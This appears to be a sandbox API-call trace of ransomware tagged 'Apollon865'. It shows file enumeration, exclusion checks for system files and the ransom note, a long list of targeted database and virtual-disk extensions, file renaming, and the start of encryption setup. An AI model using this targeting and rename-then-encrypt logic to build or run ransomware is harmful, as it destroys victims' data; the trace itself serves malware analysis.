	[0059.027] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".") returned 1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="..") returned 1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="windows") returned -1
	[0059.027] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootmgr") returned 1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="temp") returned -1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="pagefile.sys") returned -1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="boot") returned 1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ids.txt") returned 1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ntuser.dat") returned 1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="perflogs") returned -1
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="MSBuild") returned 1
	[0059.028] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0059.028] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned 79
	[0059.028] lstrcpyW (in: lpString1=0x119e68a, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm"
	[0059.028] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0059.028] lstrlenW (lpString="Apollon865") returned 10
	[0059.028] lstrcmpiW (lpString1="ircles.htm", lpString2="Apollon865") returned 1
	[0059.028] lstrlenW (lpString=".dll") returned 4
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".dll") returned 1
	[0059.028] lstrlenW (lpString=".lnk") returned 4
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".lnk") returned 1
	[0059.028] lstrlenW (lpString=".ini") returned 4
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".ini") returned 1
	[0059.028] lstrlenW (lpString=".sys") returned 4
	[0059.028] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".sys") returned 1
	[0059.028] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0059.028] lstrlenW (lpString="bak") returned 3
	[0059.028] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.028] lstrlenW (lpString="ba_") returned 3
	[0059.028] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.028] lstrlenW (lpString="dbb") returned 3
	[0059.028] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.028] lstrlenW (lpString="vmdk") returned 4
	[0059.028] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.028] lstrlenW (lpString="rar") returned 3
	[0059.028] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.028] lstrlenW (lpString="zip") returned 3
	[0059.028] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.028] lstrlenW (lpString="tgz") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.029] lstrlenW (lpString="vbox") returned 4
	[0059.029] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.029] lstrlenW (lpString="vdi") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.029] lstrlenW (lpString="vhd") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.029] lstrlenW (lpString="vhdx") returned 4
	[0059.029] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.029] lstrlenW (lpString="avhd") returned 4
	[0059.029] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.029] lstrlenW (lpString="db") returned 2
	[0059.029] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.029] lstrlenW (lpString="db2") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.029] lstrlenW (lpString="db3") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.029] lstrlenW (lpString="dbf") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.029] lstrlenW (lpString="mdf") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.029] lstrlenW (lpString="mdb") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.029] lstrlenW (lpString="sql") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.029] lstrlenW (lpString="sqlite") returned 6
	[0059.029] lstrcmpiW (lpString1="es.htm", lpString2="sqlite") returned -1
	[0059.029] lstrlenW (lpString="sqlite3") returned 7
	[0059.029] lstrcmpiW (lpString1="les.htm", lpString2="sqlite3") returned -1
	[0059.029] lstrlenW (lpString="sqlitedb") returned 8
	[0059.029] lstrcmpiW (lpString1="cles.htm", lpString2="sqlitedb") returned -1
	[0059.029] lstrlenW (lpString="xml") returned 3
	[0059.029] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.029] lstrlenW (lpString="$er") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.030] lstrlenW (lpString="4dd") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.030] lstrlenW (lpString="4dl") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.030] lstrlenW (lpString="^^^") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.030] lstrlenW (lpString="abs") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.030] lstrlenW (lpString="abx") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.030] lstrlenW (lpString="accdb") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0059.030] lstrlenW (lpString="accdc") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0059.030] lstrlenW (lpString="accde") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0059.030] lstrlenW (lpString="accdr") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0059.030] lstrlenW (lpString="accdt") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0059.030] lstrlenW (lpString="accdw") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0059.030] lstrlenW (lpString="accft") returned 5
	[0059.030] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0059.030] lstrlenW (lpString="adb") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.030] lstrlenW (lpString="adb") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.030] lstrlenW (lpString="ade") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.030] lstrlenW (lpString="adf") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.030] lstrlenW (lpString="adn") returned 3
	[0059.030] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.031] lstrlenW (lpString="adp") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.031] lstrlenW (lpString="alf") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.031] lstrlenW (lpString="ask") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.031] lstrlenW (lpString="btr") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.031] lstrlenW (lpString="cat") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.031] lstrlenW (lpString="cdb") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.031] lstrlenW (lpString="ckp") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.031] lstrlenW (lpString="cma") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.031] lstrlenW (lpString="cpd") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.031] lstrlenW (lpString="dacpac") returned 6
	[0059.031] lstrcmpiW (lpString1="es.htm", lpString2="dacpac") returned 1
	[0059.031] lstrlenW (lpString="dad") returned 3
	[0059.031] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.031] lstrlenW (lpString="dadiagrams") returned 10
	[0059.031] lstrcmpiW (lpString1="ircles.htm", lpString2="dadiagrams") returned 1
	[0059.032] lstrlenW (lpString="daschema") returned 8
	[0059.032] lstrcmpiW (lpString1="cles.htm", lpString2="daschema") returned -1
	[0059.032] lstrlenW (lpString="db-journal") returned 10
	[0059.032] lstrcmpiW (lpString1="ircles.htm", lpString2="db-journal") returned 1
	[0059.032] lstrlenW (lpString="db-shm") returned 6
	[0059.032] lstrcmpiW (lpString1="es.htm", lpString2="db-shm") returned 1
	[0059.032] lstrlenW (lpString="db-wal") returned 6
	[0059.032] lstrcmpiW (lpString1="es.htm", lpString2="db-wal") returned 1
	[0059.032] lstrlenW (lpString="dbc") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.032] lstrlenW (lpString="dbs") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.032] lstrlenW (lpString="dbt") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.032] lstrlenW (lpString="dbv") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.032] lstrlenW (lpString="dbx") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.032] lstrlenW (lpString="dcb") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.032] lstrlenW (lpString="dct") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.032] lstrlenW (lpString="dcx") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.032] lstrlenW (lpString="ddl") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.032] lstrlenW (lpString="dlis") returned 4
	[0059.032] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.032] lstrlenW (lpString="dp1") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.032] lstrlenW (lpString="dqy") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.032] lstrlenW (lpString="dsk") returned 3
	[0059.032] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.032] lstrlenW (lpString="dsn") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.033] lstrlenW (lpString="dtsx") returned 4
	[0059.033] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.033] lstrlenW (lpString="dxl") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.033] lstrlenW (lpString="eco") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.033] lstrlenW (lpString="ecx") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.033] lstrlenW (lpString="edb") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.033] lstrlenW (lpString="epim") returned 4
	[0059.033] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.033] lstrlenW (lpString="fcd") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.033] lstrlenW (lpString="fdb") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.033] lstrlenW (lpString="fic") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.033] lstrlenW (lpString="flexolibrary") returned 12
	[0059.033] lstrcmpiW (lpString1=" Circles.htm", lpString2="flexolibrary") returned -1
	[0059.033] lstrlenW (lpString="fm5") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.033] lstrlenW (lpString="fmp") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.033] lstrlenW (lpString="fmp12") returned 5
	[0059.033] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0059.033] lstrlenW (lpString="fmpsl") returned 5
	[0059.033] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0059.033] lstrlenW (lpString="fol") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.033] lstrlenW (lpString="fp3") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.033] lstrlenW (lpString="fp4") returned 3
	[0059.033] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.034] lstrlenW (lpString="fp5") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.034] lstrlenW (lpString="fp7") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.034] lstrlenW (lpString="fpt") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.034] lstrlenW (lpString="frm") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.034] lstrlenW (lpString="gdb") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.034] lstrlenW (lpString="gdb") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.034] lstrlenW (lpString="grdb") returned 4
	[0059.034] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.034] lstrlenW (lpString="gwi") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.034] lstrlenW (lpString="hdb") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.034] lstrlenW (lpString="his") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.034] lstrlenW (lpString="ib") returned 2
	[0059.034] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.034] lstrlenW (lpString="idb") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.034] lstrlenW (lpString="ihx") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.034] lstrlenW (lpString="itdb") returned 4
	[0059.034] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.034] lstrlenW (lpString="itw") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.034] lstrlenW (lpString="jet") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.034] lstrlenW (lpString="jtx") returned 3
	[0059.034] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.034] lstrlenW (lpString="kdb") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.035] lstrlenW (lpString="kexi") returned 4
	[0059.035] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.035] lstrlenW (lpString="kexic") returned 5
	[0059.035] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0059.035] lstrlenW (lpString="kexis") returned 5
	[0059.035] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0059.035] lstrlenW (lpString="lgc") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.035] lstrlenW (lpString="lwx") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.035] lstrlenW (lpString="maf") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.035] lstrlenW (lpString="maq") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.035] lstrlenW (lpString="mar") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.035] lstrlenW (lpString="marshal") returned 7
	[0059.035] lstrcmpiW (lpString1="les.htm", lpString2="marshal") returned -1
	[0059.035] lstrlenW (lpString="mas") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.035] lstrlenW (lpString="mav") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.035] lstrlenW (lpString="maw") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.035] lstrlenW (lpString="mdbhtml") returned 7
	[0059.035] lstrcmpiW (lpString1="les.htm", lpString2="mdbhtml") returned -1
	[0059.035] lstrlenW (lpString="mdn") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.035] lstrlenW (lpString="mdt") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.035] lstrlenW (lpString="mfd") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.035] lstrlenW (lpString="mpd") returned 3
	[0059.035] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.036] lstrlenW (lpString="mrg") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.036] lstrlenW (lpString="mud") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.036] lstrlenW (lpString="mwb") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.036] lstrlenW (lpString="myd") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.036] lstrlenW (lpString="ndf") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.036] lstrlenW (lpString="nnt") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.036] lstrlenW (lpString="nrmlib") returned 6
	[0059.036] lstrcmpiW (lpString1="es.htm", lpString2="nrmlib") returned -1
	[0059.036] lstrlenW (lpString="ns2") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.036] lstrlenW (lpString="ns3") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.036] lstrlenW (lpString="ns4") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.036] lstrlenW (lpString="nsf") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.036] lstrlenW (lpString="nv") returned 2
	[0059.036] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.036] lstrlenW (lpString="nv2") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.036] lstrlenW (lpString="nwdb") returned 4
	[0059.036] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.036] lstrlenW (lpString="nyf") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.036] lstrlenW (lpString="odb") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.036] lstrlenW (lpString="odb") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.036] lstrlenW (lpString="oqy") returned 3
	[0059.036] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.037] lstrlenW (lpString="ora") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0059.037] lstrlenW (lpString="orx") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.037] lstrlenW (lpString="owc") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.037] lstrlenW (lpString="p96") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.037] lstrlenW (lpString="p97") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.037] lstrlenW (lpString="pan") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.037] lstrlenW (lpString="pdb") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.037] lstrlenW (lpString="pdm") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.037] lstrlenW (lpString="pnz") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.037] lstrlenW (lpString="qry") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.037] lstrlenW (lpString="qvd") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.037] lstrlenW (lpString="rbf") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.037] lstrlenW (lpString="rctd") returned 4
	[0059.037] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.037] lstrlenW (lpString="rod") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.037] lstrlenW (lpString="rodx") returned 4
	[0059.037] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.037] lstrlenW (lpString="rpd") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.037] lstrlenW (lpString="rsd") returned 3
	[0059.037] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.037] lstrlenW (lpString="sas7bdat") returned 8
	[0059.038] lstrcmpiW (lpString1="cles.htm", lpString2="sas7bdat") returned -1
	[0059.038] lstrlenW (lpString="sbf") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.038] lstrlenW (lpString="scx") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.038] lstrlenW (lpString="sdb") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.038] lstrlenW (lpString="sdc") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.038] lstrlenW (lpString="sdf") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.038] lstrlenW (lpString="sis") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.038] lstrlenW (lpString="spq") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.038] lstrlenW (lpString="te") returned 2
	[0059.038] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.038] lstrlenW (lpString="teacher") returned 7
	[0059.038] lstrcmpiW (lpString1="les.htm", lpString2="teacher") returned -1
	[0059.038] lstrlenW (lpString="tmd") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.038] lstrlenW (lpString="tps") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.038] lstrlenW (lpString="trc") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.038] lstrlenW (lpString="trc") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.038] lstrlenW (lpString="trm") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.038] lstrlenW (lpString="udb") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.038] lstrlenW (lpString="udl") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.038] lstrlenW (lpString="usr") returned 3
	[0059.038] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.039] lstrlenW (lpString="v12") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.039] lstrlenW (lpString="vis") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.039] lstrlenW (lpString="vpd") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.039] lstrlenW (lpString="vvv") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.039] lstrlenW (lpString="wdb") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.039] lstrlenW (lpString="wmdb") returned 4
	[0059.039] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.039] lstrlenW (lpString="wrk") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.039] lstrlenW (lpString="xdb") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.039] lstrlenW (lpString="xld") returned 3
	[0059.039] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.039] lstrlenW (lpString="xmlff") returned 5
	[0059.039] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0059.039] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.Apollon865") returned 94
	[0059.039] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.040] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.040] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=237) returned 1
	[0059.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0059.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.040] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0059.041] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.041] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.041] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154
	[0059.043] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.044] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
